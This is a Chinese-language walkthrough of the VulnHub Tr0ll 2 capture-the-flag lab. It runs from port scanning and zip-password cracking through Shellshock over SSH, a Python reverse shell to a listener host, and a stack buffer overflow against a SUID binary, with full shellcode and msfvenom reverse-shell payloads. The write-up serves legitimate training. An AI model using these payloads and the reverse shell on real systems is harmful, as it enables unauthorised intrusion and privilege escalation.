靶机地址:https://www.vulnhub.com/entry/tr0ll-2,107/
难度:CTF中等
nmap 192.168.75.0/24 -sP IP 192.168.75.18
nmap 192.168.75.18 -sS -sV -A -T4 21 FTP 22 SSH 80 TCPports
一般情况下 ftp ssh tcp 等端口先从80 tcp端口收集信息80 tcp
http://192.168.75.18 发现一张图片 查看源代码 无信息 将图片下载下来 用 binwalk strings exiftool 等工具未查看到有用信息robots.txt
http://192.168.75.18/robots.txt 当robots.txt 信息比较多时 我们可以将robots.txt 下载下来 配合dirb枚举信息dirb
用dirb 配合 robots.txt 枚举信息 dirb http://192.168.75.18 robots.txt //注意 robots.txt文件 前的/建议去掉strings
访问 可访问的url 发现是四个一样的图片 将图片下载下来进行分析 用strings 对四个图片分析 http://192.168.75.18/dont_bother/ 这个路径下的图片解析到有效信息 Look Deep within y0ur_self for the answer
访问 http://192.168.75.18/y0ur_self 发现 answer.txt 猜测是密码本 新建answer.txt文件 复制内容 保存base64
base64 -d answer.txt > answer-base64-d.txt21 ftp
ftp 192.168.75.18 Welcome to Tr0ll FTP... Only noobs stay for a while... 欢迎来到 Tr0ll FTP... 只有菜鸟会逗留一段时间... 根据提示 猜测账户密码都是 Tr0ll dir ls //相当于linux ls 查看目录下文件 get 下载文件 ftp://192.168.75.18 //在浏览器中ftp 相当于图形化界面 //google浏览器 在新版本禁用了ftp
尝试解压文件 linux zip文件 参考文章 https://www.cnblogs.com/chinareny2k/archive/2010/01/05/1639468.html unzip lmao.zip 或者右键解压 发现需要密码fcrackzip
Fcrackzip是一款专门破解zip类型压缩文件密码的工具,工具小巧方便、破解速度快,能使用字典和指定字符集破解 参考文章 https://blog.csdn.net/weixin_43272781/article/details/100751375 fcrackzip lmao.zip -u -D -p answer-base64-d.txt [-u|--use-unzip] 使用 unzip 清除错误密码 [-D|--dictionary] 使用字典 [-p|--init-password string] 使用字符串作为初始密码/文件 ItCantReallyBeThisEasyRightLOL
解压文件 unzip lmao.zip ItCantReallyBeThisEasyRightLOL 查看解压文件发现是ssh rsa private key22 ssh
由压缩文件 解压得到 noob ssh rsa private key 猜测账户为 noob chmod 400 noob //权限太高会有错误 SSH error: permissions are too open //https://www.educative.io/edpresso/ssh-error-permissions-are-too-open ssh -i noob noob@192.168.75.18 TRY HARDER LOL!Shellshock
bash CVE-2014-6271 中的远程利用漏洞:Shellshock https://www.csoonline.com/article/2687265/remote-exploit-in-bash-cve-2014-6271.html https://unix.stackexchange.com/questions/157477/how-can-shellshock-be-exploited-over-ssh https://www.zdziarski.com/blog/?p=3905 https://resources.infosecinstitute.com/topic/practical-shellshock-exploitation-part-1/#gref 视频介绍:http://bloggars-online.blogspot.com/2014/10/bash-shellshock-ssh-exploit.html 前提条件是shell 设置为bash!
payload:
'() { :;}; linux命令'
ssh -i noob noob@192.168.75.18 '() { :;}; cat /etc/passwd'
ssh -i noob noob@192.168.75.18 '() { :;}; /bin/bash' ----这会反弹一个伪shell
反弹shell
which python //查看python
python -c 'import pty; pty.spawn("/bin/bash")' //shell框架
bash //将此终端shell类型临时切换 bash
nc -lvp 6688 //监听端口
python 反弹shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.75.5",6688));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
获得稳定shell
stty raw -echo
fg
nc -lvp 6688
缓冲区溢出
find
查询具有SID权限的文件,将错误输出到/dev/unll: find / -perm -4000 2>/dev/null https://www.cnblogs.com/qlqwjy/p/8665871.htmlALSR
cat /proc/sys/kernel/randomize_va_space 0 ldd /bin/bash 有的缓冲区会设置ALSR机制 即随机化 0 = 关闭 1 = 半随机。共享库、栈、mmap() 以及 VDSO 将被随机化。 2 = 全随机。GDB
cd /nothing_to_see_here/choose_wisely ls -alhR
通过base64编码将文件复制出来 cd door1 md5sum r00t base64 r00t vim base64.txt //制base64编码复制进去 cat base64.txt | base64 -d > r00t md5sum r00t
下面是在本机kali演示
strings r00t 其中strcpy以及printf可能存在溢出和格式化字符串漏洞
chmod +x r00t gdb ./r00tOffset
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 300 run /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x6a413969 [*] Exact match at offset 268 Offset 为268
checksecESP
查找esp值 run $(python -c 'print "A"*268 + "B"*4') run $(python -c 'print "A"*268 + "B"*4 + "C"*20') esp ffffd080 xffxffxd0x90
info r esp ffffd080 x80xd0xffxff方法1 shellcode
只要搜linux/x86 /bin/bash或者/bin/sh 现在需要获取一些shellcode,www.shell-storm.org/shellcode这是非常好的一个写shellcode的学习网站,利用存储已编写的Shellcode。因为它运行在Intel,并且操作系统是32位Linux,因此我从此处获取Shellcode连接: http://shell-storm.org/shellcode/ http://shell-storm.org/shellcode/files/shellcode-827.php shellcode = "x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1xb0x0bxcdx80"exp
./r00t $(python -c 'print "A"*偏移量 + "ESP" + "x90"*20 + "shellcode"') "x90"*20 : nop sel ./r00t $(python -c 'print "A"*268 + "x80xd0xffxff" + "x90"*20 + "x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1xb0x0bxcdx80"')方法2 坏字符
确认坏字符 缓冲区溢出的在生成shellcode时,会影响输入的字符, 比如’n’字符会终止输入,会截断输入导致我们输入的字符不能完全进入缓冲区。 常见的坏字符有x0a、x0b、x00
现在生成一串与字节数组相同的坏字符。以下 python 脚本可用于生成从 x01 到 xff 的坏字符字符串:
#!/usr/bin/env python
from __future__ import print_function
for x in range(1, 256):
print("\x" + "{:02x}".format(x), end='')
print()
vim zifu.py chmod +x zifu.py python zifu.py
run $(python -c 'print "A"*268 + "B"*4 + "zifu"')
x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff
x/256b $esp 如果出问题就x和b换用 x/256x $esp 正常情况下 0x08 后面应该是 0x09 这里乱序 说明 09是坏字符 将上面的字符中 x09去掉 再重新查看
run $(python -c 'print "A"*268 + "B"*4 + "zifu"') x/256b $esp 又发现还是乱码 说明0x0a也是坏字符 至于后面全乱序猜测是因为0x0a换行符的问题
run $(python -c 'print "A"*268 + "B"*4 + "zifu"') 继续 去掉 x09x0a x/256b $esp 发现 0x20也是坏字符 去掉再来
run $(python -c 'print "A"*268 + "B"*4 + "zifu"') x/256b $esp 坏字符总结为0x09、0x0a、0x20、再加个0x00!(默认排除空字节x00)msf生成payload
windows: msfvenom -p windows/shell_reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=4444 EXITFUNC=thread -b "x00x0ax0d" -f py -v Linux: msfvenom -a x86 --platform linux -p linux/x86/shell_reverse_tcp LHOST=x.x.x.x LPORT=443 -b "x00x09x0ax20" EXITFUNC=thread -f c linux2: msfvenom -a x86 -p linux/x86/exec CMD=/bin/sh -b 'x00x09x0ax20' -e x86/shikata_ga_nai -fc payload: -a 框架选择 -p 载荷类型 LHOST 本机地址 LPORT -b 坏字符 -e 要使用的编码器 -f 编译的语言 -c 指定要包含的附加 win32 shellcode 文件 -v 载荷的名称exp
./r00t $(python -c 'print "A"*268 + "x80xd0xffxff" + "x90"*20 + "xd9xd0xd9x74x24xf4xbaxd0x16x55x31x5ex33xc9xb1x0bx83xc6x04x31x56x16x03x56x16xe2x25x7cx5ex69x5cxd3x06xe1x73xb7x4fx16xe3x18x23xb1xf3x0execx23x9axa0x7bx40x0exd5x74x87xaex25xaaxe5xc7x4bx9bx9ax7fx94xb4x0fxf6x75xf7x30"')靶机实操 gdb
ls -alhR cd door gdb./r00tesp
前面知道 Offset为268 run $(python -c 'print "A"*268 + "B"*4 + "C"*20') info r bffffb80 x80xfbxffxbfpayload1
将前面本机实验 offset修改一下即可 ./r00t $(python -c 'print "A"*268 + "x80xfbxffxbf" + "x90"*20 + "x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1xb0x0bxcdx80"')payload2
./r00t $(python -c 'print "A"*268 + "x80xfbxffxbf" + "x90"*20 + "xd9xd0xd9x74x24xf4xbaxd0x16x55x31x5ex33xc9xb1x0bx83xc6x04x31x56x16x03x56x16xe2x25x7cx5ex69x5cxd3x06xe1x73xb7x4fx16xe3x18x23xb1xf3x0execx23x9axa0x7bx40x0exd5x74x87xaex25xaaxe5xc7x4bx9bx9ax7fx94xb4x0fxf6x75xf7x30"')



